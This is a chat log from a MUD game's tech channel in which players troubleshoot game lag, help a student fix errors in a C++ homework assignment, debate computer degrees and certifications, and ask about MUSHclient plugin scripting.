T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: does this game require network ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: define network?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I mean, whether it works without network connection
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Oh, no.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: so it may be network problem or server problem
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: check ping and traceroute to game server
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: hmmm
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: How do I do that?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: you may want try axence nettools
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: This? http://www.axencesoftware.com/en/nettools
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: yes
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: better question is how am I going to get the server credentials?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: use netstat to get connections
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ping the website if its on a website?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: netstat? Another program, or.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Ah, I see, its built in
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Sorry, very green
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: didnt he just say  the game done require a network connection ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: dont**
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: No, the game requires a network connection
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: oh ok
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: then ye oing and tracert website in dos
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: axence allows for continuous traceroute
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: if you are lucky with standard tracert you may hit good timings which just occured
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: anyway, using netstat you can find what server is used by this game
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: usually there will be a lot of established connections, so it is good to close as many network apps as you can
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: unless you are able to figure out server from its name / port / ip
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: hmmmmmm
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: somethings just occured to me
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: hmmm
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I found a fix for it.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: the game doesn't like high res.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: So if I play it on a lower rez, it doesn't lag.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Any idea on what the issue could be?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: probably developers don't use such resolution
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: so never tested whether it works smoothly
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: ah
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: That makes sense
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Cheers for that
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Ah well, its not too bad.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Pleiades Tech: I think it's just you
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: if game do some scaling due to different resolution, it may be quite inefficient
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Buried Dreadlocker turns to Pleiades and shrieks loudly!
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Buried Dreadlocker forces a gag into Pleiades's mouth.  Ahhh, blessed quiet.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Anyone know any good forums for CSS/HTML 5 discussion and DIY learning?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Jedhi Tech: http://www.webdesignerforum.co.uk/
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rauche Tech: hiya, anyone using or know how to tweek blowtorch stuff?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ayasinda Tech: Rauche: http://bt.happygoatstudios.com/
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rauche Tech: hehe, i know the site. jjst needed to ask if people know how to disable triggers from input bar 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if anyone feels like taking a look at my assignment and telling me what library i am missing, or what i doing wrong. i wouldn't complain much http://pastebin.com/bh9gTZ28
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: why you think you are missing something?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i get about 15pages of error log
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or compiling errors. not sure what you call it
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i just assumed that meant i was missing a library
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I always fought function prototypes are C domain
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: anyway, printWages is 3 or 4 arg ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ahh ty
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: also that cin >> more >> endl; seems to cause errors, at least under g++
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod removed that too
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: seems like the outstream isn't inherited to functions
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: or you could add: template <typename CharType, typename CharTraits> std::basic_istream <CharType, CharTraits> &endl( std::basic_istream <CharType, CharTraits> & ins ){        return ins; }
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why on earth would you be doing cin and endl? Out of context until I actually look at the code, but surely that should be cout?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: pretty sure i need to restructure how the program works
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah it should be cout
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: this is making a lot more sense already since i have slept
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 4am i think i was just slamming my face on the keyboard
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: also that line is quite strange for me: }while(more !("n" || "N"))
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol i want to have the do-while loop wait for them to enter n or N to break the loop
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: probably should have !=
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Right from that error sneaking through I can tell you aren't incrementally testing - you set yourself up for a world of hurt if you don't at least run a cursory test of the code as you add it, especially if you aren't yet comfortable with the language or the way you're using it at the time.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so build my function and then test that it works
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: what is result of ("n" || "N") ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I mean I am no longer familiar with C++, so is it kind of set operator ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: First step is to 'dummy up', i.e. create blank return 0 or "" functions so the code compiles
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or operator
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I now || is or, but what is the result of expression ("n" || "N")
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then you gradually flesh out the functions, testing each time to make sure each new piece of code is working the way you want/hope it does
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i guess i don't understand your question trachx
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I mean, does ("n" || "N") creates set of values which is supported by != operator ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the result i am looking for is that the while loop will continue until n or N is assigned to the variable 'more'
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 'n' || 'N' will always evaluate to true, you can't blend equality checks like that
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I would probably use (more == "n") || (more == "N") 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: okay
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or rather, will evaluate to 1, which when compared to more will be invalid always
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gotcha
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: anyway, you should've been able to figure errors from compile log / error list
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: just start at the beginning of log and solve first problem
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When there are so many, they tend to obscure each other
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which is why incremental testing is so important
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: okay thanks guys i am going to start over i think on a new file and start by testing
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Keep what you have, honestly solving these issues will teach you more about coding than any teacher or book.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Bamboo Tech: toupper(more)=='N'
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But you will need to pull out the various bits into separate files to test that they all work properly
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod that is what i meant
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: going to start a new file and just put pieces in and test
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For example, pull out the 'getEmployeeInfor' function (which should be either getEmployeeInfo or getEmployeeInformation) and test it with some code to see it outputs the right thing.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: function name was specified by teacher
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The teacher specified Infor?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: I have already been yelled at a few times for not naming things exactly what she specified
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: void getEmployeeInfor() should ask the user for an employees ID, pay rate 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: what is this: while ((id || ratePay || hrs) < 0){
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The same combined equality check as in the more != n|N
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: but || will evaluate it to true or false, or am I wrong ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well, yes, but the expression is (id||ratePay||hrs) atomic
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In any forseeable variable setup it will evalutate to 1, or true
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mye Tech: even if they're all null/0, the expression evaluates to 0, which is not less than 0
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so i should be doing if ((rate < 0) || (hours < 0) || (id < 0))
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can't combine equalities like that. You need to split it into while (id < 0 || ratePay < 0 || hrs < 0)
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: kk
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: < has a higher precedence than ||, but the extra parentheses won't hurt
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: habit from calc
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: helps me read it, apparently it is confusing to others
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: thank you guys i will be afk for a bit fixing this. thank you for the help too. I have to pound out a week of homework today before the concert so i can leave for hunting
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Once you get order of operations solidly drilled into you, you will see them as extra too :-P
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah i am a major noob :)
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Out of curiosity, do they teach you the difference/meaning of expression and statement before throwing you this assignment?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: see I have missed almost all of this class so far this semester and don't have the book. So i am not sure if she did or not. in my defense i have had a crappy start to the semester
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: there are a lot of onlince C++ courses
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod. i have really just been looking at what the assignment requires and then googling what it requires
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: also your printWages seems strange to me
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah that is what i think my main problem is here
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: I mean shouldn't you first open strem for writing ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i need to have that outstream only used in there
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I learned from breaking all the things, but I hear good things about this one: http://xoax.net/cpp/crs/console/index.php
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You should be aware, however, that going in unpracticed like you are is going to give you a lot of bad habits if you aren't careful to catch up quickly afterwards
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah i need to focus and relearn the first part of this
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: had 5/5 cars break down so far this semester
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure how that explains stupid but it is something right?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not stupid, I can see the thought processes you have, they just aren't programming thought processes
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod it is a rushed omg i need this done, thought process. which seems to end up taking up more of my time
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Learning OO programming in C++ is probably a bad idea.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There isn't too much oop here Ranrr
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Actually, anything C++ is probably a bad idea :D
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I will admit it's a little strange as a starter language, most will do either a java->c->c++ stream or a python->c++ stream these days, but there's nothing inherently wrong with it
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am taking java as well and have taken C
T3/r7/2013-09-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i went html->C++->php now i do webdev lol
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: but the C class was really messed up
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: html isn't a programming language silly :-P
T3/r7/2013-09-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i know its not but thats how i progressed when i was 10, so sue me :P
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: I went basic->pascal->C->haskell->C++->tcl->C->perl->php->tcl->python... plus a bunch of other languages.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My advice would be to get the assignment in some form of submittable state as best you can, then ditch the hunting trip and focus on getting into the library, finding a copy of the textbook, and getting some serious catchup on
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And tinkering with QBasic was the best way to crash a Windows 3.1 computer bar none.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: My advice would be that if you have a choice, don't learn C++. Learn OO programming, though.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Martini & Tyebald Tech: pretty sure just leaving the clock running could manage that.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol ditch hunting
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nonsense, most higher level uni courses won't even touch you without a C++ prereq
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if it wasn't my first time going and first vacation from work in 2 years
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't pretty, but I know I can't enjoy a holiday with uni hanging over my head
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol i am 31 years old and work fulltime. I am all about just forgetting about this crap for a bit
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Having C++ as a prereq is just stupid, imo.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i can work on it when i get back too. just don't like being totally behind
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: You need to know C, and probably java and python. C++ is kind of a niche language.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: In any case, uni studies should not be about learning languages, it should be about learning technology. 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Times have changed Ranrr, now undergrad is all about the languages and perhaps 1/10 units are pure theory.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: I learned fortran in my uni studies, guess how much use I've gotten out of that....
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Now it's all about the resume padding... studied xyz languages etc
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i use fortran at work :), Fortran 77 mostly
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Maybe in your country, not in mine, Vak. Fortunately.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: which country are you in ranrr?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's also a part of the split between 'computer science' and 'software development' degrees
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Sweden
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: I learned Computing Science, not computer science or software development.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am actually going for IT security. but the c++ class is cs201
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Computer science is probably more what you're thinking about, machines and grammars and the mathematics. Computer == Computing in this case.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whereas software development is all about focussing on the specific technologies
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: The distinction was very important for the professors at my uni section.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: thats because nerds like to get wrap up around nuiances like it's cool
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: We wouldn't be nerds if we didn't argue about semantics.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: i want to download an internet browser now for my tablet that compresses the data allot, i have two options. opera browser or UC browser.. which one is strongest with data compression ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Computer science and computing science are equal in English. Software development, and the sneaky 'Computer/Computing Studies' are different.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also the new player in the field, 'Information Systems', which is a Frankenstien mashup of business administration and general IT
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: what the heck is computer studies? never even heard of that
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: CIS was this garbage degree that covered, essentially, how to be a helpdesk tech
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Computer Studies is usually the 'use' of computer technologies. Desktop publishing, workflow management, etc. Scripting, but not application development.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mr. Dash Tech: usually involved no cert prep or maybe a comptia a+
T3/r7/2013-09-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: does any one got experience with these two ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's unis here and in the US/Europe that are offering Ba of Computer Studies. It's like an Arts(Computing Studies), but they often call it something more tech-y
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: because universities (in america anyway) sell degrees... so naming the degree is part of the marketing
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But yeah, the days when the primary 'Computer' degree meant a background in discrete mathematics and a grounding in machine code and learning data structures formally, algorithms as a mathematical process etc are long gone.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so windows 8's corner popup windows are fucking annoying
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Language...
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: although, i should i add, in my experience with IT in corporate america... the people running IT are sort of sad excuses for a real IT guy with minimal business sense... so... yup
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sorry
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: easy solution. dont use windows
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: People I know that recently got degrees still learn that, Vakieh.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, they still exist Ranrr, I'm doing those subjects. But that is no longer the most common degree in IT
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: I think we have less gunk degrees just because we don't have private universities.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I was introduced to a friend of a friend 'She is a computer programmer'. Oh cool, I thought. Web design. Not even javascript, just WYSIWYG editing. That's where the mainstream IT is heading, as more and more fields begin to overlap.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i attended 2 universities... one focused on foundational stuff like that, the other focused on getting as many languages as possible in the cirriculum
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My undergrad was languages ahoy. Postgrad is much, much better in that regard.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: our public universities do the same nonsense as our private universities
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's nothing wrong with the 'gunk' degrees, they do have a purpose, and the people get jobs and do them well. Just saying things are changing.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: plus grade inflation and course difficulty deflation...
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: No, Vakieh, say it aint so!! Everyone needs to know assembler, otherwise hands off the computer!
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pffft. Magnetic needle and a steady hand.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mr. Dash Tech: i miss the days in the tech field where employers didn't look for degrees because skill was homegrown =(
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Homegrown skill meant proprietary, and gtfo with that.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: Go for smaller companies.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: also, america is so in love with our certifications people end up with an alphabet soup after their name and are as equally incompetant as someone who only has a degree
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mr. Dash Tech: proprietary? certs set standards, not formal education
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ranrr Tech: I generally don't hire people that have (and are proud of) certifications. They generally know nothing. I'd take a home hacker before a cert guy most days. 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: I dont think degrees or certs are the problem.. where i work they hire people without degrees or certs AND they are incompetent!
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: certs are artificial barriers to entry and pseudo-unionize the profession... people with the certs hire other people with the certs
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Ranrr laughs out loud at [Outlaw] Drakoth.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unions are good. Cadres are not. 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i work in a non-IT field that has certification process, and i still see it that way
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: creating the barrier to entry like that leans more towards cadre than union
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is what you were describing, not unions :D
T3/r7/2013-09-28.txt.gz:{chan ch=tech}CptAmerica Tech: is there a way to delete a cexit with mush without having access to the room, and without purging all cexits?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ontuct Tech: 'mapper showroom roomnum' then click the room
T3/r7/2013-09-28.txt.gz:{chan ch=tech}CptAmerica Tech: thanks
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Ontuct Tech: np
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Arindel Tech: anyone familiar with genetic algorithms and/or lisp programming? please send me a tell
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Where is the documentation on the GMCP handler for MUSH?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Martini & Tyebald Tech: aardwiki, search for gmcp?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: https://code.google.com/p/aardwolfclientpackage/wiki/GMCPHandler
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: There are two links in that wiki.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Thank you.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Turie nods.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Also, seems that MUSH is still using 5.1 instead of 5.2. Any particular reason why?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Lua versions, rather.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: That is up to Fiendish.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: Or I should say Nick Gammon.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Martini & Tyebald Tech: probably because upgrading versions without a compelling reason to do so just adds unnecessary uncertainty.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Book of Etzli sighs.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: See, I don't get the whole OnPluginBroadcast bit... which is preventing me from coverting any of my scripts to MUSH so MUSH users can use them.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Like: if (id == '3e7dedbe37e44942dd46d264') then -- where the hell did the 3e7dedbe37e44942dd46d264 come from?!
T3/r7/2013-09-28.txt.gz:{chan ch=tech}<pretitle> Scars Tech: that looks like hex to me :/
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I'd say it's a GUID.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I could be wrong though
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Which tells me nothing.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}FarSnail Anaristos Tech: GetPluginID()
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: It's a globally unique identified.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Confounded CeriQ Tech: wikipedia it.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}FarSnail Anaristos Tech: it's the plugin GUID
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mye Tech: it's the id of the plugin that broadcasted the message
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Fair enough. This whole plugin business is frustrating, hah.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: At least in CMUD, I know exactly what's what.
